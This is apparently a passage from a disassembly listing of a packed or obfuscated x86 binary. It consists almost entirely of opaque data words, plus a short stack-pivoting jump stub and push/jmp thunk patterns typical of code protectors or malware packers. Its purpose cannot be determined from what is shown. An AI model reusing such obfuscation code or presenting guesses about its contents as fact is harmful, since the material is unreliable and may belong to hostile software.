		dd 0D40FF8D6h, 404D3A94h, 0B83FBAFh, 4640B9BCh,	82FC7EF9h
		dd 0C2BC3235h, 5780FC75h, 7BADF5CAh, 0B4BDA0E9h, 29B25836h
		dd 8E51FBD3h, 9AF4706Fh, 3E2C8870h, 894A44A5h, 0BDFA106Eh
		dd 4D5254A7h, 76504F7h,	86EDC08Fh, 8EB602EDh, 0B35935B5h
		dd 1757C04Fh, 60000000h, 1BE07351h, 38759D5Dh, 0D1AC37C0h
		dd 90759D52h, 0FFFCD429h, 637BCEFFh, 0DEB9C1F5h, 0A703086Ch
		dd 0DA0D6B49h, 759E2A55h, 0E6719E62h, 4F8B1F2Eh, 5F3D2F13h
		dd 0DF686684h, 931FC414h, 0A514EC6Fh, 0D27E74Ch, 1E3B8BCh
		dd 0A45D0000h, 759D5CC3h, 0BC322596h, 7CF275C2h, 1DC62402h
		dd 759D5C90h, 0E0AC5BA7h, 9D5C664Fh, 408BA175h,	4F3CB21h
		dd 0D674BA2Eh, 2897EF0Dh, 35D7AFCDh, 9BFC8147h,	9C16E59Bh
		dd 3AC7E073h, 4B81759Dh, 0BC22980h, 9665B603h, 72000001h
		dd 6D3236B4h, 36EA6E46h, 7927C5A1h, 7657CFEh, 0C1BD9D8Fh
		dd 0AD48F72Bh, 0A288774Fh, 77F3743Ch, 260DED1Fh, 759DF959h
		dd 0C826827Eh, 8AF40B1Fh, 0E802FE4Fh, 5E38B1B2h, 30C34CACh
		dd 6F92F3A7h, 44C00BC1h, 0E6116D83h, 0D5460CBh,	29C3BCh
		dd 7BD40000h, 667DF863h, 712D8905h, 748CCC17h, 0DE814F8Ah
		dd 0AA403C9Ah, 9234B801h, 0AF1AD26Fh, 0E16F15Ah, 0ECB2BCh
		dd 0B4430000h, 0CCB25836h, 7694F20Bh, 5D52DF08h, 9961759Dh
		dd 1757123Dh, 0B4CA8DBFh, 625C3ABDh, 9D5D2CF1h,	1BF74B75h
		dd 34106EF1h, 9D5D5E23h, 88E27575h, 9F6520Eh, 9D64FCFEh
		dd 0B3B2C875h, 0C5C1253Ch, 0ED1FFB27h, 0F177510Dh, 752C80AFh
		dd 78E710C4h, 64293A18h, 73759C5Ch, 5A34B48Fh, 19E105ADh
		dd 8BE6343Fh, 0F12F4F8Eh, 17A4847Bh, 8C57FF2Eh,	6F8E61FFh
		dd 611B2414h, 44A4BF99h, 27AFD4Ah, 866587E3h, 86095577h
		dd 9C2AC0BCh, 0ED3C5A2Fh, 403C9862h, 4FA7F482h,	94711BDEh
		dd 0A8Dh, 74C3BB30h, 0AF1876F1h, 0EE5935B4h, 2897EF0Bh
		dd 66D1ADCDh, 9CDCC869h, 59925522h, 1557927Dh, 0D52BCEB9h
		dd 0BBE50EF9h, 0ADF7E3A8h, 46B9F07Bh, 7C5A34B4h, 0E40680FBh
		dd 0D91C0B34h, 7C5C2BA3h, 5D48D51Eh, 936F759Dh,	73517D64h
		dd 9D5D1BE0h, 37C03875h, 0FF2A3EBCh, 8D60EC28h,	1EA14B27h
		dd 3B19E6E0h, 0C890F35h, 0EB0906h, 0B04F81AAh, 0A19EA931h
		dd 41Eh, 1623D446h, 14239BDDh, 84E2489Eh, 0BEAC2A43h, 2EF36442h
		dd 45759D5Dh, 994A4AF5h, 4F8CEF7Dh, 0D3D7B088h,	1EC9270Bh
		dd 4979E666h, 1745E75Bh, 113E98DCh, 81A6F546h, 43A19F69h
		dd 81A60B90h, 27D02869h, 0AC176A51h, 7FC21EA0h,	396h, 5E13A418h
		dd 53D1759Dh, 0A0759D5Dh, 625C933Eh, 5AB410C8h,	8A753189h
		dd 1A6AE04Fh, 0EA2283C3h, 807824D3h, 4D4F3E42h,	0DA3BD1DEh
		dd 995h, 6CDBB3C8h, 0A7106E89h,	0E6512D4Ch, 20EFE703h
		dd 5E29A5C5h, 94D4C071h, 51AA4D3Ah, 0D6F8A75h, 0CD23C6B1h
		dd 0B3ED06F1h, 0ADF8DBA0h, 4EB1F87Bh, 0B25836B4h, 4D0706CCh
		dd 0A8B71D94h, 6FD30B9Fh, 0D510D331h, 59EF53F9h, 1913D4C4h
		dd 0D49FA861h, 4F8D85B3h, 0B3F740B8h, 7EE9C72Bh, 497CF721h
		dd 0BCC2A16h, 2D2B94F2h, 5D9DD42Ah, 0BB17CB61h,	0CB9EA991h
		dd 697CD52Ah, 0D7A48FEDh, 0C5697CD4h, 0D9012BA3h, 7A30DF23h
		dd 0ADA39D63h, 0FE146FAh, 0CA39C62Bh, 91ED09CAh, 6C6A8366h
		dd 8F0765FEh, 7E589651h, 0B845EECCh, 0DF697CC4h, 0D4788763h
		dd 0F6D01ACCh, 69E5756Dh, 8EBEB443h, 0AB4B8FABh, 0FB2E0468h
		dd 0FE660775h, 9153AF51h, 0EA6CD31Bh, 0BE7BDA70h, 0E7000008h
		dd 0A0430C8Ah, 7BFE4945h, 3A3D8A04h, 0FC77C0BEh, 58B5027Ch
		dd 136B8397h, 0AE2841A4h, 0EAE406E1h, 2AA4DA1Dh, 7FE8945Dh
		dd 7BADF9B2h, 7B95C8C1h, 0B6A19F63h, 4F8CEF59h,	4384E25Eh
		dd 0E3AC2Ah, 0B6B1EFE7h, 0CFAD5F37h, 8CCD9764h,	0E05CBC6Fh
		dd 84B30B63h, 0DC26B8C8h, 601871E2h, 4117497Ch,	61F2B3FDh
		dd 697C359Ch, 0F28147BBh, 0D10FEBEDh, 50FAD416h, 0F416708Fh
		dd 0ED9FA804h, 5D9E41A5h, 0BB17CB61h, 83E47F5Dh, 8453D80Bh
		dd 9860697Bh, 0FAC6116Fh, 1F436835h, 85B52123h,	30DAEA6Eh
		dd 818D5h, 56304D00h, 93EB0EE9h, 2CAAC124h, 6A648063h
		dd 0A4225A9Dh, 693DF2DBh, 2FCAB511h, 0EC07F0CEh, 0A0430C8Ah
		dd 6E834C4Ah, 0FA58250Eh, 327F7BADh, 3F36B4CBh,	0F129C3BBh
		dd 0ADD3B15h, 759D5C85h, 0EFA1AE92h, 92B81654h,	5E89E715h
		dd 759D5CD1h, 5B2770E6h, 0D7ADA0B4h, 0C534CC7Bh, 19CA46A4h
		dd 759DB394h, 31895FA3h, 493B3EFDh, 0EBE95632h,	96B41268h
		dd 774FA9AAh, 267EE5C8h, 6721B602h, 2F000001h, 57F5D114h
		dd 51655CEBh, 0FD4CEE9Bh, 778019E5h, 0EA007EFCh, 0D4A31B51h
		dd 0C42208DEh, 8A770713h, 0EC1EE24Fh
		dd 5A34B58Eh, 7791DAADh, 253B6F92h, 0E770AED6h,	6F92761Ah
		dd 6EECEA00h, 0C84BBBF8h, 0D28EE2F7h, 0C0218A25h, 4282BC0Dh
		dd 93000000h, 7F579651h, 0C8E26DCDh, 61F22C16h,	4F8A73E9h
		dd 343A14E4h, 1B6E0271h, 6B25D294h, 925777C0h, 0F0DB116Fh
		dd 0DF53299h, 0DAF5BCh,	0BD9B0000h, 6207945Fh, 2C2C6F92h
		dd 92617A07h, 96A1996Fh, 5836B42Fh, 0F5D129B2h,	8EEE6957h
		dd 19261A30h, 48A6205Eh, 0F715718Fh, 5CD15E89h,	1AE6759Dh
		dd 4B43A5BEh, 2CE79A1h,	6D4B43B9h, 113B93EAh, 0D12F1E29h
		dd 53F9D516h, 0FB9560EFh, 0DF759D60h, 522C42A1h, 1BE440B8h
		dd 0D6BCF17h, 8152AECAh, 759D40FCh, 0A14B271Bh,	7EFA79h
		dd 404E99F7h, 554F8F71h, 2C488BE5h, 2C27A552h, 5394F2CCh
		dd 0A594A31Bh, 833BA1A7h, 81D2BF18h, 86B16D69h,	31338BE3h
		dd 0DE4F4ECFh, 76E726C4h, 2F000006h, 0E80BF4D2h, 0A346318Dh
		dd 6285724Ch, 243F8806h, 107DCAC4h, 0DBB3CBDFh,	1670896Ch
		dd 522C4EA9h, 92EC02E5h, 8750CC25h, 7BADFBFAh, 0B46D9019h
		dd 0AED5A34h, 362D9AF4h, 0B25836B4h, 0CFBD329h,	3993h
		dd 54D4B400h, 57B1796Dh, 37BFE79h, 730631E9h, 4F8CEF14h
		dd 95F174CFh, 0C07C8B77h, 0E1249F78h, 0D432F8EEh, 7C5FE503h
		dd 499AE049h, 697C3EC4h, 0D4B36FD3h, 456Bh, 96510C00h
		dd 0E6CC7B53h, 0BDC3A00h, 4F8A535Bh, 5F9D46h, 9C7CEEE8h
		dd 7AD60A20h, 43C91FD0h, 37AD6F92h, 698740C4h, 0F403FF6Dh
		dd 0E4C228BEh, 7F598373h, 86E57E49h, 0DBB70F6Fh, 0A26DC931h
		dd 9B3Dh, 637BDA00h, 51B6A19Fh,	564F8CEFh, 0AEF7A8EAh
		dd 6882FC7Ch, 113B93D7h, 0F0CE2A29h, 7F2605Ah, 4EBDA31Dh
		dd 137C90FBh, 5B13BCh, 7B240000h, 7EF863h, 7C5A36EAh, 4C8D5FF6h
		dd 0C51EAE67h, 0D8002AA4h, 6286512Fh, 674F8DE3h, 9FE6999Bh
		dd 99B30B63h, 3149A8C6h, 0A053F955h, 11CFB900h,	42A900CBh
		dd 0E5BC1289h, 1Dh, 9F637BF2h, 0EF4FB6A1h, 0E4544F8Ch
		dd 17B0F5AEh, 3CA7FAC1h, 0EFBC1379h, 14h, 646BA488h, 0D00E759Dh
		dd 4FFDD917h, 23FB6493h, 9CFFFFFFh, 0A19F637Bh,	8CEE41B6h
		dd 9AB0264Fh, 7AA28755h, 454DFF5Bh, 0F47F59A1h,	497CAE8Eh
		dd 8E49A79Bh, 99F5766Dh, 24D38F73h, 7CC61868h, 20CCD102h
		dd 17EB436Ch, 0C3BB3E39h, 98D31474h, 4599113Eh,	0AFA583FDh
		dd 0D1B10BA2h, 0F2BFA4D4h, 1636C34h, 0A58E0E39h, 3D5BC630h
		dd 0ACD2B17h, 67496F0h,	5BA550DDh, 3F9B675Dh, 9C52B010h
		dd 0FD66A0C1h, 5D5C4730h, 9975FB47h, 0E36C84h, 0D41FE8E6h
		dd 0C5A57C38h, 1FE8E604h, 8B10C321h, 0A8C5353Bh, 0AECCA750h
		dd 786E3AD0h, 0E78354B2h, 0E29F2250h, 5886EC1Eh, 0C3641A92h
		dd 0C14ED917h, 3BB1D03Bh, 0F771F443h, 8FEA6D9Fh, 0C0BC1A50h
		dd 17E2702Ah, 2996F00Ah, 38D2ACCEh, 0EE0EB0C7h,	0D3047A90h
		dd 0BF29804Eh, 1A5E9565h, 0B1358EBCh, 8E7DF3D5h, 49B0B694h
		dd 77C0BE38h, 9E647B00h, 7D00E6Ch, 759D5C7Ah, 6B302399h
		dd 88759D5Ch, 0E01FD4B0h, 609E59E6h, 5A9CC466h,	60CA1D6Fh
		dd 0A01E5C97h, 0B9C60C62h, 0B8AACABEh, 27F47F59h, 4C759D7Ah
		dd 0B0C043CCh, 69F8C365h, 9A5DBB13h, 19C16B63h,	91D46FEEh
		dd 0AEA91735h, 33C6714Dh, 759D796Eh, 11309B51h,	0D40FF8D6h
		dd 5D163492h, 759D7B0Dh, 96B3061Ch, 7A8D7A54h, 759D9D31h
		dd 79B0742Ah, 5D39E444h, 3BBE44Eh, 0FF7B47B6h, 0B450FFFFh
		dd 91EF5836h, 5836B0B3h, 9D5D068Bh, 222D2D75h, 0AECA2947h
		dd 6AC63AD0h, 0FDD91728h, 303666A7h, 7BF25CE5h,	67FD0A27h
		dd 1F77F594h, 2066DA0h,	350EB602h, 3885BB5h, 10759E55h
		dd 78F74C28h, 30CEC1Eh,	4412h, 96512300h, 0E7CB7452h, 0ADD3BFFh
		dd 4F8CEEECh, 0ED0301F9h, 95B70F6Ah, 228A6C2h, 72D562DEh
		dd 0C732321Eh, 0D80B7175h, 6F8CCE53h, 0C23C9860h, 8F0763E4h
		dd 0C792BD9Dh, 497C60A1h, 2FB54A4h, 3Eh, 9F637B23h, 4442A6A1h
		dd 1D5E10A6h, 8F09D67Bh, 0B3A424D3h, 4F8CFE55h,	0F1AAE850h
		dd 0D43202AAh, 8CDC7E03h, 24E8A16Fh, 0EEAA17F7h, 9D63EC6Ch
		dd 200ADC2Eh, 0DDF71DC6h, 0EF2497Ch, 36B46A51h,	87E57E58h
		dd 8B4C000Fh, 84AE1975h, 0B5BE9862h, 4F8A5861h,	0A01E5F98h
		dd 0F7A9568Ah, 0FD4EE10Bh, 976F9257h, 343A6A51h, 0C430E82Bh
		dd 218CBB47h, 0BC0E1CBAh, 286Dh, 637B0A00h, 36B6A19Fh
		dd 3B4F8A74h, 894A44A0h, 7FB116Dh, 9D2E81ABh, 376F9234h
		dd 0C77CA31h, 9FBC0E18h, 0D7h, 5836B4B8h, 0F5D129B2h, 106E8C57h
		dd 8FF83036h, 6AA9BBE5h, 52A833DDh, 0F6788B74h,	32759E44h
		dd 0F275C2BCh, 0AC31687Ch, 6C0274BEh, 0A39F8D09h, 0B1C16BC7h
		dd 8DEBC52Dh, 9D67D55Ah, 0F11EE275h, 36B2B593h,	678409DAh
		dd 0AF93759Dh, 56E159F3h, 8A769383h, 0F0D88E4Fh, 0A346FD40h
		dd 78B8293Fh, 0EA34B3A7h, 7569410Eh, 143690EAh,	0C56E4824h
		dd 498423F5h, 0CD0660D8h, 8366D1ADh, 0F9D1136Bh, 1EE45A96h
		dd 1F3916Ch, 55AA0000h,	106B8E79h, 0CF2EC9B6h, 89ED08F7h
		dd 47A7420Dh, 628F804Fh, 0EF5836B6h, 2C9BF374h,	68D7AFC9h
		dd 0A8176F8Dh, 7D02D543h, 9A7BAE00h, 34B4E017h,	5C820FD8h
		dd 4EA5759Dh, 0B0AF6D0Bh, 0F854A456h, 0AB23459Eh, 344AAD9Ch
		dd 7BF6ED5Ah, 0B6A19F63h, 4F8A7436h, 0B10D6CE7h, 0C466DA86h
		dd 9233DA63h, 1571886Fh, 0B30B6CF7h, 6B302399h,	886F9232h
		dd 0EEDD9BB0h, 0F2754334h, 6CF4037Bh, 17DF449Dh, 0DF40BC0Eh
		dd 55000000h, 7F579651h, 7E26DCDh, 1A748AE9h, 0BEAC08F0h
		dd 23C9C525h, 9D594688h, 0B20C6275h, 70CC22C5h,	9D581AE7h
		dd 65C13975h, 0A8BB99C7h, 759D57E3h, 0ABFF08F0h, 0B391CF33h
		dd 0B15E38B0h, 8A66EE26h, 0A06FD34Fh, 7189548Ah, 0AF0BF715h
		dd 7633E671h, 20184984h, 8AE90DC6h, 8DBF1B73h, 0C422A2ADh
		dd 7EECEA03h, 7AF27582h, 38B0B31Ch, 4536845Eh, 0B755E45Ah
		dd 0F056h, 7E589500h, 0BB135691h, 0F4D229CCh, 328CE80Bh
		dd 4C4AA245h, 0B1658A83h, 77F25D39h, 342F98F6h,	886BD4B2h
		dd 46AB1472h, 1800DD6h,	1A977BAEh, 0B69B51E3h, 1571880Ch
		dd 0C6C50BF7h, 279FD836h, 0CE79D505h, 0CFBD32Bh, 0BEB993E9h
		dd 0D92413Dh, 1E759DD9h, 83FF47DEh, 12C07A5Dh, 9957FB86h
		dd 0E8442011h, 36B4381Fh, 0D329B258h, 215A9DFBh, 0AC5B87A5h
		dd 0D2895FBDh, 583E817Eh, 0F6D0837h, 0FC8C8B7h,	8F6A95F1h
		dd 89F71571h, 30772B43h, 61EE0E97h, 30474296h, 4187F1E7h
		dd 0BEFE72E1h, 0F28AB58Fh, 22449F07h, 3D2FA7C3h, 13D661DDh
		dd 6E6886DDh, 0ED7654B2h, 7492220h, 0CD3CCB37h,	9CFAD42Ah
		dd 9EA9255Bh, 354B8CF2h, 0AFCBAE59h, 47A235D7h,	0E11ADD4Fh
		dd 0DD1347E5h, 1CD234EEh, 605E9CADh, 0A01E5C97h, 34B8Ah
		dd 936C0000h, 5F37B42Ch, 0FAD42AADh, 116D8F50h,	8F0760FBh
		dd 24A2DA9Dh, 413DBD06h, 0FAD410ABh, 16708F50h,	8E0863F4h
		dd 0E568199Ch, 89000063h, 89562434h, 4C681E6h, 83000000h
		dd 348704EEh, 3C895C24h, 4F766824h, 0C890000h, 97685024h
		dd 5807F54Eh, 8AFF5405h, 58C7892Ah, 2A0AE781h, 0E7813341h
		dd 5AC76842h, 19BC781h,	0C7817170h, 82A086DEh, 240C8B54h
		dd 8304C483h, 3C8904ECh, 8418F24h, 592434FFh, 8B04C483h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		dw 87F0h
		dd 5EF87C1Eh, 75CD5C86h, 4D290DBAh, 10A636B8h, 0FFC50306h
		dd 9DADACE0h, 0ECC17C4Ch, 6ACBE62Ah, 511E355Eh,	9104BC27h
		dd 0EE4CA13Dh, 6E09C63h, 0C0941966h, 0EF13F761h, 942A945Eh
		dd 0BDBFCA36h, 9E842h, 6B5A0000h, 0F77A1C2Dh, 0FF5CB3Fh
		dd 589h, 0F7816600h, 565A3C0Bh,	14E9h, 0D3A6EB00h, 983BF21h
		dd 5F940A66h, 65456B72h, 0C9D8A2ECh, 0C2815B27h, 6319h
		dd 10E9h, 29AE2200h, 0EF108D68h, 2FC19596h, 46F5B6EBh
		dd 1890B952h, 0BF0F0000h, 60328BC3h, 0F616060h,	6161FBBFh
		dd 3DE8C681h, 0D4806075h, 21F681D1h, 664FA3D0h,	814442BBh
		dd 49BA46EEh, 0EB816610h, 3289FE2Fh, 0EA83C78Bh, 7830F02h
		dd 50000000h, 6CF8166h,	4A4A5854h, 0C1B70F57h, 1E98158h
		dd 0F000000h, 1A85h, 12EFB800h,	30E9394Bh, 0E3000000h
		dd 0FA67209Fh, 0ACE45AFFh, 8B00BF28h, 0F0DEA6Fh, 18Ch
		dd 8AE9F800h, 0B8FFFFFFh, 0B418A160h, 0F4615F19h, 0ED60E2Bh
		dd 891D649Bh, 8D2E4E5Ah, 10A8BB8Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 1F9F280Ch
		dd 4D8D893Fh, 6A060B17h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 520BC353h, 0ACEC2F2Ch
		dd 1985C710h, 28060B01h, 6A00005Ch, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0F6EC350h
		dd 100985C7h, 60Bh, 6A0000h, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 140424h, 50400000h, 830F7EC3h, 6,	65B9EA81h
		dd 0B5FF4846h, 60B0ED9h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 0D0C35242h, 0CB18509h, 95FF060Bh, 60B0AC5h
		dd 2870Fh, 0F38B0000h, 95FF006Ah, 60B32DDh, 0DEBC08Bh
		dd 0AB71B69Fh, 0FF311A5Bh, 1B547F0Bh, 0C508EB14h, 9C797E7Fh
		dd 0E977E733h, 0DA8h, 10AAC268h, 0D651E906h, 1668FFFAh
		dd 0E90610ACh, 0FFFAD647h, 10AD9968h, 0D63DE906h, 0B468FFFAh
		dd 0E90610AEh, 0FFFAD633h, 10B02A68h, 0D629E906h, 5568FFFAh
		dd 0E90610B2h, 0FFFAD61Fh, 10B40668h, 0D615E906h, 0F068FFFAh
		dd 0E90610B4h, 0FFFAD60Bh, 4AA9A0F2h, 0E47F4A5Dh, 12C1F80Bh
		dd 4D96ADF5h, 0FE6558A0h, 0A7FD1047h, 55AA5B98h, 0A1A8B68h
		dd 0B2C72033h, 0BDAF5C87h, 84B45D29h, 0FD63D2C5h, 176DD5DEh
		dd 75BBA428h, 0D488270Fh, 2B9FF3D7h, 92AFF421h,	0B18C9974h
		dd 93A8F4A2h, 0C5CE3F49h, 26C00488h, 9F80D35Eh,	0AA1E64BDh
		dd 618ECABAh, 0C334B3Ah, 88C7D1B8h, 0D9D4CE04h,	2E38767Eh
		dd 0A387DE68h, 619B2A8Eh, 2C353FC8h, 48E1h, 0BCC47B00h
		dd 0B5B700C4h, 4B7A1CEDh, 0B43E1D8Ch, 0D6FA49Ah, 0D140E476h
		dd 5EBD9F05h, 2195A8F1h, 2D0589EDh, 3A60CB5Dh, 0E635E088h
		dd 5A2367EBh, 0D4CE7845h, 0C70A23D9h, 1C272C35h, 0B5000001h
		dd 189FB406h, 0AC5A781Bh, 0BB33BDB6h, 0C3941DCFh, 1DCDB92Dh
		dd 7842C394h, 0EFE62E9Fh, 0B9CD618Bh, 0EC3941Dh, 0E6331A34h
		dd 25DA01EBh, 7E0AA2BEh, 0F1C39456h, 0C2354E89h, 8C5EB25Ch
		dd 59AC1461h, 4CA0E468h, 0E36A84F8h, 0D5E43399h, 23C92D61h
		dd 26AAA7F2h, 1DCC44E2h, 625FA808h, 0EBD62F9Eh,	7ECF2367h
		dd 37251938h, 6987BEC6h, 0D2EF38E1h, 7C3C9D01h,	0EA3FC394h
		dd 45C34704h, 0D222A328h, 0B0A387FBh, 6D814257h, 0C394D719h
		dd 0CCB094EEh, 0A14BD0ACh, 9FC9080Dh, 1EC53DBDh, 0ADDB0092h
		dd 0CC8CFF10h, 987F0BDBh, 8AF03A61h, 273C405Ch,	9CBB135h
		dd 0CBA4446Ch, 43A98DBCh, 0F2AC4E52h, 0DB1DC2D3h, 3AEB086Ch
		dd 0A10DFE6h, 798C6A67h, 0AFF3689h, 0A1C0000h, 0B0C72033h
		dd 66B55281h, 71F886Bh,	0B6CA3B38h, 86ED548Fh, 31221D67h
		dd 61F2CFD4h, 9E457084h, 0CA292471h, 0C7832BC1h, 48C584B7h
		dd 0DADE03F9h, 7C8471FBh, 23CCA741h, 4D5D20D6h,	0CE9FCF77h
		dd 0BD8B09EAh, 0D8764B50h, 0B9A3B8C4h, 1DC3872Fh, 8529C394h
		dd 0C3941DC1h, 0BF837C46h, 0A04DDF91h, 39CD7B5Ah, 0BD9F0598h
		dd 82C66EF8h, 53A60CBh,	917A2BE6h, 81E50686h, 2E92E867h
		dd 60774606h, 5CB2C73Ah, 967DC52Fh, 15F9DDE3h, 9D615CA4h
		dd 1C6E7FB5h, 0FFCC73F9h, 8BE78DA0h, 3FCEE806h,	0C7832BB5h
		dd 483A6067h, 0C36AD472h, 0EE2C356Ah, 0EDh, 6DD5DE76h
		dd 41352914h, 0C9BD8098h, 9418B819h, 0A56EBBC3h, 6BE64501h
		dd 47F0CA3Ch, 0B1D26DEAh, 6EFCD07Eh, 0B05E69BFh, 0F0CDD637h
		dd 3336F56Ah, 0E3D97476h, 0CFADCD45h, 0B0EA6B4h, 5142608Ch
		dd 9BA5CA4h, 93CAD32Bh,	0D433DD31h, 7AF27CEEh, 3A60830Eh
		dd 0D1E66281h, 98DD81A6h, 8DE98AA4h, 7E0AA2EFh,	0F13A608Eh
		dd 2F479589h, 446D1E56h, 0D0B4384Ah, 573072FFh,	7C46C563h
		dd 6BB15CEEh, 877E054h,	0B412ACB5h, 62EB0579h, 0D33C271Eh
		dd 1379F6C9h, 288C6B23h, 9AB65DAh, 0BEC80000h, 64B35C87h
		dd 12618E55h, 0B3CB243Fh, 62B6578Ch, 2A318053h,	6DF6C9D3h
		dd 9D467B80h, 0CA292470h, 66FDC8DDh, 0ABDF5795h, 3CC584B1h
		dd 0DADED74Dh, 1EC78FBh, 1377DBF6h, 320F18F5h, 98A7FD28h
		dd 4334534h, 7C435920h,	0D99AB488h, 0F8D5DE3Bh,	0F050A514h
		dd 0ADB6AAA7h, 4A90ABF1h, 9F24BB22h, 57AC59BDh,	84A2E66Ah
		dd 67CFB387h, 3A60E866h, 0B5FE2FBDh, 0D5E83198h, 0E46C793Bh
		dd 6CD0EF39h, 0ED1CFE28h, 0C42C3501h, 63Ch, 0E30D6F20h
		dd 0C9D3BA95h, 0EACE02F6h, 216DEC00h, 0F8C2BD9Fh, 59708372h
		dd 937791F5h, 60EE3353h, 8B7AE63Ah, 9AFE427Dh, 3CEAE533h
		dd 78916B7Ah, 512C3500h, 604h, 760D6FBFh, 0B6D25AE4h, 39C3941Dh
		dd 214527C1h, 0BD9F2F58h, 9D9AD95h, 3A60FC79h, 0C4D13CACh
		dd 0DF874E89h, 36C043Dh, 0CEC2C3E5h, 2C34CE1Fh,	0AAA7F01Dh
		dd 0BD44E226h, 5C8h, 0E32D465Bh, 1DA9DD51h, 0EB30C394h
		dd 0F71169D6h, 9C4ED5A7h, 9F053D08h, 67AE5FBDh,	84A2E66Ah
		dd 0E2DF2687h, 1847A98Eh, 9110D8C4h, 201F65F7h,	0EA04785Ch
		dd 752B431Ah, 575923CEh, 4A8E724Dh, 61608456h, 0EED04020h
		dd 0A51A2094h, 974F6C4Dh, 4458F678h, 0B5392338h, 0DA4CBAD8h
		dd 168755ADh, 0C223300Dh, 5B3F5FB1h, 0CFC6C295h, 5C7F23A7h
		dd 7A5EA4A2h, 5A6DC906h, 0A4AE1E89h, 828E3h, 4334700h
		dd 0EAE72EDFh, 0BC8D9C09h, 13046A7h, 0D0EF35D2h, 4EADB403h
		dd 3FE80B4Ah, 0EF18DBE6h, 58B5AE99h, 18E1724Fh,	0B0285CD0h
		dd 0D0BFC584h, 0B71EBD68h, 0F4FAED88h, 0D16F711h, 0FFE4C30h
		dd 9C20CEF9h, 7DF17B00h, 0BD84F8DEh, 5A816BAFh,	4FF2BCE2h
		dd 0DF98B639h, 7B0A4757h, 0A29FE63Ah, 4F86FADEh, 6AE75BEh
		dd 3A7B0A42h, 0A4004A8h, 0F3C73A7Bh, 19DA3E04h,	3B1A1E8Fh
		dd 0C9D57357h, 2B43A9B2h, 3A7B0A57h, 0BF6ED228h, 12845F6Ah
		dd 3A7B0B62h, 0F60FB5C3h, 2F0347CBh, 532B9E3Dh,	167CCF61h
		dd 858E7FF8h, 1C6CC448h, 293C84A1h, 15FA0Bh, 0B4C12E35h
		dd 0ADC15399h, 3A7BE1D9h, 56BA54AEh, 7BD1EE9Eh,	6461233Ah
		dd 845F6ABFh, 2D879D08h, 2519EDD8h, 1E2378C1h, 1140BF0h
		dd 0DE950000h, 0A514F8D5h, 94ABF153h, 488EC20h,	941D582Ch
		dd 0F9D421C3h, 7C98C715h, 221F66B8h, 0F7D58815h, 2C374559h
		dd 0B805B63Eh, 1C66427Bh, 632965D3h, 0D7A89A86h, 70Dh
		dd 3221186Ah, 6CF7C2D5h, 9A597083h, 352E156Dh, 66FDC0D8h
		dd 2F7588DFh, 0DD22C310h, 829273E0h, 2A7FA84Bh,	3537C41Fh
		dd 84B3D5B1h, 75EB5AC5h, 14F8D5DEh, 0FA605FA5h,	1D80C468h
		dd 3307C394h, 63B55215h, 8F598654h, 0C8BC305Bh,	5FC394F4h
		dd 0C3F3DC7Bh, 0FA2BCC7Ah, 0A6479CA9h, 2E9F6352h, 0FD891DEAh
		dd 72C394BFh, 14FA3D3h,	0E9CD17BEh, 5D5701F5h, 6E51AB50h
		dd 5FE97BF5h, 9447B3D7h, 6CE34C3h, 0C3944742h, 0E953FDC5h
		dd 32414B40h, 769h, 7AC8F700h, 50000000h, 0E60ED5DEh, 0C3941DE2h
		dd 743EB65h, 88C3941Dh,	967A5EB2h, 942D2E5Eh, 24A1E3C3h
		dd 4D9FAAFFh, 0EDDFABC3h, 595E3C6Bh, 89A79B64h,	0D8F701EEh
		dd 0ED8DFC74h, 4B493C6Bh, 744355BAh, 0D6DE29EFh, 0B7C10BFFh
		dd 941D4B3Fh, 48E6DCC3h, 3084B3C5h, 58414C46h, 7CE2714Ch
		dd 0C3942506h, 0D7228297h, 0B8A286FAh, 0DE08374Dh, 4004C07Ch
		dd 0FEB9E732h, 0C801FFFFh, 318h, 0F8D5DE50h, 1DBCDC14h
		dd 8CA6C394h, 0B28F9801h, 677C33A8h, 9AC41238h,	4E89F782h
		dd 133D16CEh, 0A162B750h, 33EB9F17h, 67CC394h, 9433BACEh
		dd 0D1350DC3h, 3395C56Dh, 314C394h, 6EF84236h, 943382C6h
		dd 4C3D05C3h, 0DEDE0839h, 3FB7A5BEh, 0BD84AA9Ch, 85A95EDh
		dd 0EB866238h, 597B81Fh, 0A2F40000h, 485F48ABh,	0FE0DFA79h
		dd 0AFF710C3h, 5EA24390h, 1E45FC67h, 599AA5FFh,	896A57ACh
		dd 263D081Ch, 5281BCC9h, 5F2B43A9h, 0D0C584ADh,	0D5DEFB61h
		dd 708372F8h, 0F25BAF59h, 0A34C97AEh, 0AEA3EE56h, 5182E6DAh
		dd 0ED516CB4h, 75D9E43Ch, 4F54418Bh, 0D3D2D472h, 7F465C49h
		dd 0B499B78Bh, 682516Ch, 1D1470F4h, 0A79BC394h,	0D769789h
		dd 41533240h, 0C9000002h, 52FCCDDCh, 5E1EBDECh,	303A764Fh
		dd 6C0F8FB9h, 8D9805D7h, 0E4A6224Ah, 0D129C394h, 273509FDh
		dd 94E4FB8Fh, 0D8764CC3h, 0B7BEF070h, 0E93FC67Ah, 70836ADEh
		dd 879DF559h, 0C3D17406h, 71FCEC2h, 0F90A3352h,	0D2000001h
		dd 0E5770C6Fh, 0F65AAA5Bh, 90BE92AFh, 941D80C4h, 4F3307C3h
		dd 7A4EC9E7h, 239840C6h, 9E23ABA1h, 694BE5D4h, 0D329D45Ch
		dd 68B118ECh, 65D77155h, 335161C4h, 1BFEDh, 838E7F00h
		dd 405034B8h, 0E3D7C285h, 6FFB618Fh, 76E5770Ch,	0DEA88E04h
		dd 59133D6Eh, 1E3990CFh, 0DFE3A873h, 502DA531h,	58A2C394h
		dd 3227CF4h, 0B5EFC67Ah, 5B29C038h, 81003351h, 98000001h
		dd 5231E6Dh, 770C6F1Fh,	1D0D41E5h, 0B882C394h, 4E421CD4h
		dd 0D5CFC67Ah, 0E0920D8h, 5D203351h, 0B8000001h, 889B354Dh
		dd 95E95DB1h, 0D5DE857Bh, 1DE2E60Eh, 1D65C394h,	0D98C3339h
